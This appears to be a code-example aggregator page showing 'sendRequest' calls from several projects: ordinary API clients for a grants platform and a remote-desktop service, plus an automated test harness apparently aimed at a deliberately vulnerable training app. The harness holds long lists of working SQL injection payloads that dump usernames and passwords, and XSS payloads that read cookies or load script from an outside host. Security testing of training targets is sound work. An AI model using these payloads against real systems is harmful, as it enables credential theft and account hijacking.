}1243 // Rep - User1244 static denyComplianceReview(params = {}) {1245 return sendRequest(`/compliance-review/deny`, params, "POST", true);1246 }1247 // Rep - Admin1248 static downloadCSVUserRep(userId, params = {}) {1249 return sendRequest(1250 `/admin/user/${userId}/reputation/export-csv`,1251 params,1252 "GET",1253 true,1254 "blob"1255 );1256 }1257 // Accounting - Admin1258 static downloadSurveyWinner(params = {}) {1259 return sendRequest(1260 `/admin/survey-win/export-csv`,1261 params,1262 "GET",1263 true,1264 "blob"1265 );1266 }1267 // Accounting - Admin1268 static downloadVoteResultCSV(proposalId, voteId, params = {}) {1269 return sendRequest(1270 `/shared/proposal/${proposalId}/vote/${voteId}/vote-result/export-csv`,1271 params,1272 "GET",1273 true,1274 "blob"1275 );1276 }1277 // Accounting - Admin1278 static downloadVoteResultPDF(proposalId, voteId, params = {}) {1279 return sendRequest(1280 `/shared/proposal/${proposalId}/vote/${voteId}/vote-result/export-pdf`,1281 params,1282 "GET",1283 true,1284 "blob"1285 );1286 }1287 // Accounting - Admin1288 static downloadSurveyLoser(params = {}) {1289 return sendRequest(1290 `/admin/survey-downvote/export-csv`,1291 params,1292 "GET",1293 true,1294 "blob"1295 );1296 }1297 // Accounting - Admin1298 static downloadCurrentVoteByProposal(id, params = {}) {1299 return sendRequest(1300 `/survey-vote/${id}/export-csv`,1301 params,1302 "GET",1303 true,1304 "blob"1305 );1306 }1307 // Accounting - Admin1308 static downloadCurrentBidVote(id, params = {}) {1309 return sendRequest(1310 `/admin/survey-rfp-vote/${id}/export-csv`,1311 params,1312 "GET",1313 true,1314 "blob"1315 );1316 }1317 // Accounting - Admin1318 static downloadCurrentDownvoteByProposal(id, params = {}) {1319 return sendRequest(1320 `/survey-downvote/${id}/export-csv`,1321 params,1322 "GET",1323 true,1324 "blob"1325 );1326 }1327 // Milestone Review - Admin1328 static downloadCSVAllProposals(params = {}) {1329 return sendRequest(1330 `/admin/proposal/export-csv`,1331 params,1332 "GET",1333 true,1334 "blob"1335 );1336 }1337 // Milestone Review - Admin1338 static downloadCSVActiveGrants(params = {}) {1339 return sendRequest(1340 `/admin/active-grant/export-csv`,1341 params,1342 "GET",1343 true,1344 "blob"1345 );1346 }1347 // Milestone Review - Admin1348 static downloadMentorHours(params = {}) {1349 return sendRequest(1350 `/admin/proposal/export-csv`,1351 params,1352 "GET",1353 true,1354 "blob"1355 );1356 }1357 // Milestone Review - Admin1358 static downloadCSVUsers(params = {}) {1359 return sendRequest(`/admin/user/export-csv`, params, "GET", true, "blob");1360 }1361 // Milestone Review - Admin1362 static checkMentor(params = {}) {1363 return sendRequest(`/user/check-mentor`, params, "POST", true);1364 }1365 // Milestone Review - Admin1366 static listProposalMentors(userId, params = {}) {1367 return sendRequest(1368 `/admin/user/${userId}/proposal-mentor`,1369 params,1370 "GET",1371 true1372 );1373 }1374 // Milestone Review - Admin1375 static exportProposalMentor(userId, params = {}) {1376 return sendRequest(1377 `/admin/user/${userId}/proposal-mentor/export-csv`,1378 params,1379 "GET",1380 true,1381 "blob"1382 );1383 }1384 // Milestone Review - Admin1385 static getAllProposalMilestones(params = {}) {1386 return sendRequest(`/admin/milestone-proposal`, params, "GET", true);1387 }1388 // Milestone Review D - Admin1389 static getReviewMilestoneDetail(milestoneId) {1390 return sendRequest(1391 `/admin/milestone-reviews/${milestoneId}`,1392 {},1393 "GET",1394 true1395 );1396 }1397 // Milestone Detail - Admin1398 static getMilestoneDetail(milestoneId) {1399 return sendRequest(`/admin/milestone/${milestoneId}`, {}, "GET", true);1400 }1401 // Milestone Detail - Admin1402 static getPublicMilestoneDetail(milestoneId) {1403 return sendRequest(1404 `/shared/public/all-milestones/${milestoneId}`,1405 {},1406 "GET",1407 true1408 );1409 }1410 // Approve Review Milestone - Admin1411 static approveReviewMilestone(milestoneId, body) {1412 const formData = new FormData();1413 formData.append("notes", body.notes);1414 if (body.file) {1415 formData.append("file", body.file);1416 }1417 const userData = Helper.fetchUser();1418 const accessToken = userData.accessTokenAPI || "";1419 const headers = {1420 Authorization: `Bearer ${accessToken}`,1421 };1422 return new Promise((resolve) => {1423 let apiUrl = process.env.REACT_APP_BACKEND_URL + "api";1424 axios1425 .post(1426 `${apiUrl}/admin/milestone-reviews/${milestoneId}/approve`,1427 formData,1428 {1429 headers,1430 }1431 )1432 .then((res) => {1433 if (res.data) {1434 let data = res.data;1435 if (!data.success && !data.message) {1436 data = {1437 ...data,1438 message: "Please try again later",1439 };1440 }1441 resolve(data);1442 } else {1443 resolve({1444 success: false,1445 message: "Please try again later",1446 });1447 }1448 })1449 .catch(() => {1450 resolve({1451 success: false,1452 message: "Please try again later",1453 });1454 });1455 });1456 }1457 // Toggle Paid Milestone - Admin1458 static togglePaidMilestone(milestoneId, paid) {1459 return sendRequest(1460 `/admin/milestone/${milestoneId}/paid`,1461 { paid },1462 "PUT",1463 true1464 );1465 }1466 // Deny Review Milestone - Admin1467 static denyReviewMilestone({ milestoneId, message }) {1468 return sendRequest(1469 `/admin/milestone-reviews/${milestoneId}/deny`,1470 { message },1471 "POST",1472 true1473 );1474 }1475 // Deny Review Milestone - Admin1476 static inviteAdmin({ email }) {1477 return sendRequest(`/admin/teams/invite`, { email }, "POST", true);1478 }1479 // Deny Review Milestone - Admin1480 static updateShufti({ userId, ref, shufti_pass }) {1481 return sendRequest(1482 `/admin/user/${userId}/shuftipro-id`,1483 { reference_id: ref, shufti_pass },1484 "POST",1485 true1486 );1487 }1488 // launchSurvey - Admin1489 static launchSurvey(body) {1490 return sendRequest(`/admin/survey`, body, "POST", true);1491 }1492 // getCurrentSurvey - Admin1493 static getCurrentSurvey() {1494 return sendRequest(`/user/current-survey`, {}, "GET", true);1495 }1496 // submitSurvey - User1497 static submitSurvey(id, body) {1498 return sendRequest(`/user/survey/${id}`, body, "POST", true);1499 }1500 // submitRFPSurvey - User1501 static submitRFPSurvey(id, body) {1502 return sendRequest(`/user/survey-rfp/${id}`, body, "POST", true);1503 }1504 // submitSurvey - User1505 static submitDownvoteSurvey(id, body) {1506 return sendRequest(`/user/survey/down-vote/${id}`, body, "POST", true);1507 }1508 // Update Proposal - Shared1509 static updateAdminGrantProposalShared(proposalId, params = {}) {1510 return sendRequest(1511 `/shared/admin-grant-proposal/${proposalId}`,1512 params,1513 "PUT",1514 true1515 );1516 }1517 // Update Proposal - Shared1518 static sendToVote(milestoneId, params = {}) {1519 return sendRequest(1520 `/admin/milestone-reviews/${milestoneId}/send-to-vote`,1521 params,1522 "POST",1523 true1524 );1525 }1526 // Update Proposal - Shared1527 static leaveFeedback(milestoneId, params = {}) {1528 return sendRequest(1529 `/admin/milestone-reviews/${milestoneId}/deny`,1530 params,1531 "POST",1532 true1533 );1534 }1535 // Upload File1536 static uploadFile(formData) {1537 const userData = Helper.fetchUser();1538 const accessToken = userData.accessTokenAPI || "";1539 const headers = {1540 "Content-Type": "application/json",1541 Authorization: `Bearer ${accessToken}`,1542 };1543 return new Promise((resolve) => {1544 axios1545 .post(1546 process.env.REACT_APP_BACKEND_URL + "api/shared/proposal/upload",1547 formData,1548 {1549 headers,1550 }1551 )1552 .then((res) => {1553 if (res.data) {1554 let data = res.data;1555 if (!data.success && !data.message) {1556 data = {1557 ...data,1558 message: "Please try again later",1559 };1560 }1561 resolve(data);1562 } else {1563 resolve({1564 success: false,1565 message: "Please try again later",1566 });1567 }1568 })1569 .catch(() => {1570 resolve({1571 success: false,1572 message: "Please try again later",1573 });1574 });1575 });1576 }1577 // Upload File1578 static uploadDraftFile(formData) {1579 const userData = Helper.fetchUser();1580 const accessToken = userData.accessTokenAPI || "";1581 const headers = {1582 "Content-Type": "application/json",1583 Authorization: `Bearer ${accessToken}`,1584 };1585 return new Promise((resolve) => {1586 axios1587 .post(1588 `${process.env.REACT_APP_BACKEND_URL}api/user/proposal-draft/upload`,1589 formData,1590 {1591 headers,1592 }1593 )1594 .then((res) => {1595 if (res.data) {1596 let data = res.data;1597 if (!data.success && !data.message) {1598 data = {1599 ...data,1600 message: "Please try again later",1601 };1602 }1603 resolve(data);1604 } else {1605 resolve({1606 success: false,1607 message: "Please try again later",1608 });1609 }1610 })1611 .catch(() => {1612 resolve({1613 success: false,1614 message: "Please try again later",1615 });1616 });1617 });1618 }1619 // Get User's Proposal Request Payment - User1620 static getUserProposalRequestPayment() {1621 return sendRequest(`/user/proposal/request-payment`, {}, "GET", true);1622 }1623 static getRFPSurveys(params = {}) {1624 return sendRequest(`/admin/survey-rfp`, params, "GET", true);1625 }1626 // Submit Payment Proposal1627 static submitPaymentProposal(params = {}) {1628 return sendRequest("/user/advance-payment-proposal", params, "POST", true);1629 }1630}...
automate-requests.js
Source:automate-requests.js
...44 var self = this;45 $(this).addClass('disabled');46 $('#automated_results_sql').html('');47 $.when(48 sendRequest("-'", "/app/usersearch", "#automated_results_sql"),49 sendRequest("' ''", "/app/usersearch", "#automated_results_sql"),50 sendRequest("' &'", "/app/usersearch", "#automated_results_sql"),51 sendRequest("' ^'", "/app/usersearch", "#automated_results_sql"),52 sendRequest("'*'", "/app/usersearch", "#automated_results_sql"),53 sendRequest("' or ''-'", "/app/usersearch", "#automated_results_sql"),54 sendRequest("' or '' '", "/app/usersearch", "#automated_results_sql"),55 sendRequest("' or ''&'", "/app/usersearch", "#automated_results_sql"),56 sendRequest("' or ''^'", "/app/usersearch", "#automated_results_sql"),57 sendRequest("' or ''*'", "/app/usersearch", "#automated_results_sql"),58 sendRequest("\"-\"", "/app/usersearch", "#automated_results_sql"),59 sendRequest("\" \"", "/app/usersearch", "#automated_results_sql"),60 sendRequest("\"&\"", "/app/usersearch", "#automated_results_sql"),61 sendRequest("\"^\"", "/app/usersearch", "#automated_results_sql"),62 sendRequest("\"*\"", "/app/usersearch", "#automated_results_sql"),63 sendRequest("\" or \"\"-\"", "/app/usersearch", "#automated_results_sql"),64 sendRequest("\" or \"\" \"", "/app/usersearch", "#automated_results_sql"),65 sendRequest("\" or \"\"&\"", "/app/usersearch", "#automated_results_sql"),66 sendRequest("\" or \"\"^\"", "/app/usersearch", "#automated_results_sql"),67 sendRequest("\" or \"\"*\"", "/app/usersearch", "#automated_results_sql"),68 sendRequest("or true--", "/app/usersearch", "#automated_results_sql"),69 sendRequest("\" or true--", "/app/usersearch", "#automated_results_sql"),70 sendRequest("' or true--", "/app/usersearch", "#automated_results_sql"),71 sendRequest("\") or true--", "/app/usersearch", "#automated_results_sql"),72 sendRequest("test", "/app/usersearch", '#automated_results_sql'),73 sendRequest("' UNION ALL SELECT NULL,version() #", "/app/usersearch", '#automated_results_sql'),74 sendRequest("someone@test.com", "/app/usersearch", '#automated_results_sql'),75 sendRequest("This is some test \"DATA 'testind'\"", "/app/usersearch", '#automated_results_sql'),76 sendRequest("' UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='dvna' #", "/app/usersearch", '#automated_results_sql'),77 sendRequest("' UNION ALL SELECT NULL,concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' #", "/app/usersearch", '#automated_results_sql'),78 sendRequest("' UNION ALL SELECT NULL,concat(0x28,login,0x3a,password,0x29) FROM users #", "/app/usersearch", '#automated_results_sql'),79 sendRequest("' UNION ALL SELECT NULL,concat(0x28,login,0x3a,password,0x29) FROM dvna.users #", "/app/usersearch", '#automated_results_sql'),80 sendRequest("' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))) #", "/app/usersearch", '#automated_results_sql'),81 sendRequest("' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema=\"dvna\" LIMIT 0,1))) #", "/app/usersearch", '#automated_results_sql'),82 sendRequest("%27 Some test data", "/app/usersearch", '#automated_results_sql'),83 sendRequest("' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME=\"users\" LIMIT 0,1))) #", "/app/usersearch", '#automated_results_sql'),84 sendRequest("' AND extractvalue(rand(),concat(0x3a,(SELECT concat(login,0x3a,password) FROM users LIMIT 0,1))) #", "/app/usersearch", '#automated_results_sql'),85 sendRequest("' AND extractvalue(rand(),concat(0x3a,(SELECT concat(login,0x3a,password) FROM dvna.users LIMIT 0,1))) #", "/app/usersearch", '#automated_results_sql'),86 sendRequest("' AND (SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) #", "/app/usersearch", '#automated_results_sql'),87 sendRequest("' AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\"table1\" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b) #", "/app/usersearch", '#automated_results_sql'),88 sendRequest("' AND (SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT name FROM users LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) #", "/app/usersearch", '#automated_results_sql'),89 sendRequest("' AND (SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT name FROM dvna.users LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) #", "/app/usersearch", '#automated_results_sql'),90 sendRequest("' AND (ascii(substr((SELECT version()),1,1))) > 52 #", "/app/usersearch", '#automated_results_sql'),91 sendRequest("' AND (SELECT version()) LIKE \"5 %\" #", "/app/usersearch", '#automated_results_sql'),92 sendRequest("' AND (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))) > 95 #", "/app/usersearch", '#automated_results_sql'),93 sendRequest("' AND (ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema=\"dvna\" LIMIT 0,1),1,1))) > 95 #", "/app/usersearch", '#automated_results_sql'),94 sendRequest("' AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\"users\" LIMIT 0,1),1,1))) > 95 #", "/app/usersearch", '#automated_results_sql'),95 sendRequest("' AND (ascii(substr((SELECT name FROM users LIMIT 0,1),1,1))) > 95 #", "/app/usersearch", '#automated_results_sql'),96 sendRequest("' AND (ascii(substr((SELECT name FROM dvna.users LIMIT 0,1),1,1))) > 95 #", "/app/usersearch", '#automated_results_sql'),97 sendRequest("' AND sleep(10) #", "/app/usersearch", '#automated_results_sql'),98 sendRequest("' AND IF((SELECT ascii(substr(version(),1,1))) > 53,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),99 sendRequest("' AND IF((SELECT version()) LIKE \"5 %\",sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),100 sendRequest("' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)))) > 95,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),101 sendRequest("' AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema=\"dvna\" LIMIT 0,1),1,1))))> 95,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),102 sendRequest("' AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\"users\" LIMIT 0,1),1,1)))) > 95,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),103 sendRequest("' AND IF(((ascii(substr((SELECT name FROM users LIMIT 0,1),1,1)))) > 95,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),104 sendRequest("' AND IF(((ascii(substr((SELECT name FROM dvna.users LIMIT 0,1),1,1)))) >95,sleep(10),NULL) #", "/app/usersearch", '#automated_results_sql'),105 sendRequest("'", "/app/usersearch", '#automated_results_sql')106 ).then(function() {107 $(self).removeClass('disabled');108 });109});110$('#runXSSTest').on('click', function() {111 var self = this;112 $(this).addClass('disabled');113 $('#automated_results_xss').html('');114 $.when(115 sendRequest("Testing", "app/xss", "#automated_results_xss"),116 sendRequest("test@email.com", "app/xss", "#automated_results_xss"),117 sendRequest("onerror", "app/xss", "#automated_results_xss"),118 sendRequest("\" onerror=\"alert('xss')\"", "app/xss", "#automated_results_xss"),119 sendRequest(" <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "app/xss", "#automated_results_xss"),120 sendRequest("<IMG SRC=\"javascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),121 sendRequest("<IMG SRC=JaVaScRiPt:alert('XSS')>", "app/xss", "#automated_results_xss"),122 sendRequest("<IMG SRC=`javascript:alert(\"RSnake says,'XSS'\")`>", "app/xss", "#automated_results_xss"),123 sendRequest(" <a onmouseover=\"alert(document.cookie)\">xxs link</a>", "app/xss", "#automated_results_xss"),124 sendRequest("<a onmouseover=alert(document.cookie)>xxs link</a>", "app/xss", "#automated_results_xss"),125 sendRequest("<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "app/xss", "#automated_results_xss"),126 sendRequest("<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "app/xss", "#automated_results_xss"),127 sendRequest("<IMG SRC=# onmouseover=\"alert('xxs')\">", "app/xss", "#automated_results_xss"),128 sendRequest("<IMG onmouseover=\" alert('xxs')\">", "app/xss", "#automated_results_xss"),129 sendRequest("<IMG SRC=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),130 sendRequest("<IMG SRC=\" /\" onerror=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),131 sendRequest("<IMG SRC=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),132 sendRequest("<IMG SRC=\"/x\" onerror=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),133 sendRequest("<IMG SRC=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),134 sendRequest("<IMG SRC=\"/\" onerror=javascript:alert('XSS')>", "app/xss", "#automated_results_xss"),135 sendRequest("<IMG SRC=\"/x\" onerror=\"jav ascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),136 sendRequest("<IMG SRC=\"/\" onerror=\"jav & #x09;ascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),137 sendRequest("<IMG SRC=\"jav & #x0A;ascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),138 sendRequest("<IMG SRC=\"/x\" onerror=\"jav & #x0D;ascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),139 sendRequest(" <SCRIPT/XSS SRC=\"http: //ha.ckers.org/xss.js\"></SCRIPT>", "app/xss", "#automated_results_xss"),140 sendRequest("<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "app/xss", "#automated_results_xss"),141 sendRequest("<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >", "app/xss", "#automated_results_xss"),142 sendRequest("<SCRIPT SRC=//ha.ckers.org/.j>", "app/xss", "#automated_results_xss"),143 sendRequest("<iframe src=http://ha.ckers.org/scriptlet.html <", "app/xss", "#automated_results_xss"),144 sendRequest("</TITLE><SCRIPT>alert(\"XSS \");</SCRIPT>", "app/xss", "#automated_results_xss"),145 sendRequest("<INPUT TYPE=\"IMAGE\" SRC=\"javascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),146 sendRequest("<BODY BACKGROUND=\"javascript: alert('XSS')\">", "app/xss", "#automated_results_xss"),147 sendRequest("<IMG DYNSRC=\"javascript: alert('XSS')\">", "app/xss", "#automated_results_xss"),148 sendRequest("<IMG LOWSRC=\"javascript: alert('XSS')\">", "app/xss", "#automated_results_xss"),149 sendRequest("<STYLE>li {list-style-image: url(\"javascript: alert('XSS')\");}</STYLE><UL><LI>XSS</br>", "app/xss", "#automated_results_xss"),150 sendRequest("<IMG SRC='vbscript:msgbox(\"XSS\")'>", "app/xss", "#automated_results_xss"),151 sendRequest("<BODY ONLOAD=alert('XSS')>", "app/xss", "#automated_results_xss"),152 sendRequest("<BGSOUND SRC=\"javascript: alert('XSS');\"", "app/xss", "#automated_results_xss"),153 sendRequest("<LINK REL=\"stylesheet\" HREF=\"javascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),154 sendRequest("<LINK REL=\"stylesheet\" HREF=\"http: //ha.ckers.org/xss.css\">", "app/xss", "#automated_results_xss"),155 sendRequest("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "app/xss", "#automated_results_xss"),156 sendRequest(" <META HTTP-EQUIV=\"Link\" Content=\"< http://ha.ckers.org/xss.css>; REL=stylesheet\">", "app/xss", "#automated_results_xss"),157 sendRequest("<STYLE>BODY{-moz-binding:url(\"http: //ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "app/xss", "#automated_results_xss"),158 sendRequest("<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>", "app/xss", "#automated_results_xss"),159 sendRequest("<IMG STYLE=\"xss: expr /*XSS*/ ession(alert('XSS'))\"", "app/xss", "#automated_results_xss"),160 sendRequest("<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "app/xss", "#automated_results_xss"),161 sendRequest("<STYLE>.XSS{background-image:url(\"javascript: alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "app/xss", "#automated_results_xss"),162 sendRequest("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url = javascript: alert('XSS');\">", "app/xss", "#automated_results_xss"),163 sendRequest("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url = data: text / html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "app/xss", "#automated_results_xss")164 ).then(function() {165 $(self).removeClass('disabled');166 });...
odapiclient.js
Source:odapiclient.js
...15 this.baseURL = '/API';16 const client = this;17 this.auth = new (class authClient {18 getauthconfig() {19 return client.sendRequest('auth/getauthconfig');20 }21 login(manager, provider, data) {22 return client.sendRequest('auth/login', $.extend({ manager, provider }, data));23 }24 auth(manager, provider, data) {25 return client.sendRequest('auth/auth', $.extend({ manager, provider }, data))26 .then((res) => {27 const { jwt_user_token } = res.result;28 localStorage.setItem('abcdesktop_jwt_user_token', jwt_user_token);29 return res;30 });31 }32 logout(data_dict) {33 return client.sendRequest('auth/logout', data_dict)34 .then((res) => {35 localStorage.removeItem('abcdesktop_jwt_user_token');36 // localStorage.clear();37 return res;38 });39 }40 disconnect() {41 return client.sendRequest('auth/disconnect')42 .then((res) => {43 localStorage.clear();44 return res;45 });46 }47 refreshtoken(data) {48 return client.sendRequest('auth/refreshtoken',data)49 .then((res) => {50 const { jwt_user_token } = res.result;51 localStorage.setItem('abcdesktop_jwt_user_token', jwt_user_token);52 return res;53 });54 }55 getLabels() {56 return client.sendRequest('auth/labels');57 }58 buildsecret(password) {59 return client.sendRequest('auth/buildsecret', { password })60 .then((res) => {61 const {62 userid, name, provider, jwt_user_token,63 } = res.result;64 window.od.currentUser.userid = userid;65 window.od.currentUser.name = name;66 window.od.currentUser.provider = provider;67 localStorage.setItem('abcdesktop_jwt_user_token', jwt_user_token);68 return res;69 });70 }71 })();72 this.user = new (class userClient {73 whoami() {74 return client.sendRequest('user/whoami');75 }76 getInfo() {77 return client.sendRequest('user/getinfo');78 }79 getLyncConnectionKey() {80 return client.sendRequest('user/getlyncconnectionkey');81 }82 getZimbraUrl() {83 return client.sendRequest('user/getzimbraurl');84 }85 getLocation() {86 return client.sendRequest('user/getlocation');87 }88 shareLogin(email, token) {89 return client.sendRequest('user/sharelogin', { email, token });90 }91 share(email, shared) {92 return client.sendRequest('user/share', {93 email,94 shared,95 hostname: `${window.location.protocol}//${window.location.hostname}/?sharedtoken=`,96 });97 }98 support() {99 return client.sendRequest('user/support', { hostname: `${window.redirectwindow.location.protocol}//${window.location.hostname}/?sharedtoken=` });100 }101 })();102 this.store = new (class storeClient {103 get(key) {104 return client.sendRequest('store/get', { key });105 }106 set(key, value) {107 return client.sendRequest('store/set', { key, value });108 }109 setCollection(key, value) {110 return client.sendRequest('store/setcollection', { key, value });111 }112 getCollection(key) {113 return client.sendRequest('store/getcollection', { key });114 }115 })();116 this.core = new (class coreClient {117 getKeyInfo(provider) {118 return client.sendRequest('core/getkeyinfo', { provider });119 }120 getMessageInfo() {121 return client.sendRequest('core/getmessageinfo');122 }123 getVersion() {124 return client.sendRequest('version');125 }126 })();127 this.webrtc = new (class coreClient {128 get_stream() {129 return client.sendRequest('webrtc/get_stream', {});130 }131 destroy_stream() {132 return client.sendRequest('webrtc/destroy_stream', {});133 }134 })();135 this.printer = new (class printerClient {136 remove(printerName) {137 return client.sendRequest('printer/remove', { printerName });138 }139 list() {140 return client.sendRequest('printer/list');141 }142 add(cn) {143 return client.sendRequest('printer/add', { cn });144 }145 listEnable() {146 return client.sendRequest('printer/listenable');147 }148 })();149 this.composer = new (class composerClient {150 runApp(data_dict) {151 return client.sendRequest('composer/ocrun', data_dict);152 }153 launchDesktop(width, height, hostname, app, args) {154 // app is not used155 // only to be fully compatible with launchMetappli156 app = 'desktop';157 const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;158 return client.sendRequest('composer/launchdesktop', {159 width, height, hostname, timezone, args160 });161 }162 launchMetappli(width, height, hostname, app, args) {163 const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;164 return client.sendRequest('composer/launchmetappli', {165 width, height, hostname, app, args, timezone, querystring: window.location.search,166 });167 }168 restart() {169 return client.sendRequest('composer/restart');170 }171 refreshdesktoptoken(app) {172 return client.sendRequest('composer/refreshdesktoptoken', { app });173 }174 getUserAppList() {175 return client.sendRequest('composer/getuserapplist');176 }177 getAppList() {178 return client.sendRequest('composer/getapplist');179 }180 getLogs() {181 return client.sendRequest('composer/getlogs');182 }183 stopcontainer(podname, containerid) {184 return client.sendRequest('composer/stopcontainer', { podname, containerid });185 }186 logcontainer(podname, containerid) {187 return client.sendRequest('composer/logcontainer', { podname, containerid });188 }189 envcontainer(podname, containerid) {190 return client.sendRequest('composer/envcontainer', { podname, containerid });191 }192 removecontainer(podname, containerid) {193 return client.sendRequest('composer/removecontainer', { podname, containerid });194 }195 listcontainer() {196 return client.sendRequest('composer/listcontainer');197 }198 listsecrets() {199 return client.sendRequest('composer/listsecrets');200 }201 })();202 }203 sendRequest(method, args) {204 function getErrorResponse(result, status, xhr) {205 const status_ex = (xhr && xhr.status) ? xhr.status : status;206 const status_dict = { status: xhr.status, error: result };207 if (xhr.responseJSON) {208 if (xhr.responseJSON.message) { status_dict.message = xhr.responseJSON.message; }209 if (xhr.responseJSON.status_message) { status_dict.status_message = xhr.responseJSON.status_message; }210 }211 return {212 status,213 status_ex,214 status_dict,215 error: result,216 };217 }...
Using AI Code Generation
1var wpt = require('./wpt-api.js');2 if(err){3 console.log('Error: ' + err);4 }else{5 console.log(data);6 }7});8### sendRequest(url, callback)
Using AI Code Generation
1var wpt = require('webpagetest');2var wpt = new WebPageTest('www.webpagetest.org', 'A.3a7c3f5a5a7a5a8b5a7a5a7a5a7a5a7a');3}, function(err, data) {4 if (err) return console.error(err);5 console.log('Test ID: %s', data.data.testId);6});
Using AI Code Generation
1var wpt = require('wpt-api');2var options = {3};4var wpt = new wpt(options);5wpt.sendRequest(function(error, data) {6 if (error) {7 return console.log(error);8 }9 console.log(data);10});
Using AI Code Generation
1var wpt = require('./wpt');2var options = {3};4wpt.sendRequest(options, function(data) {5 console.log(data);6});
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!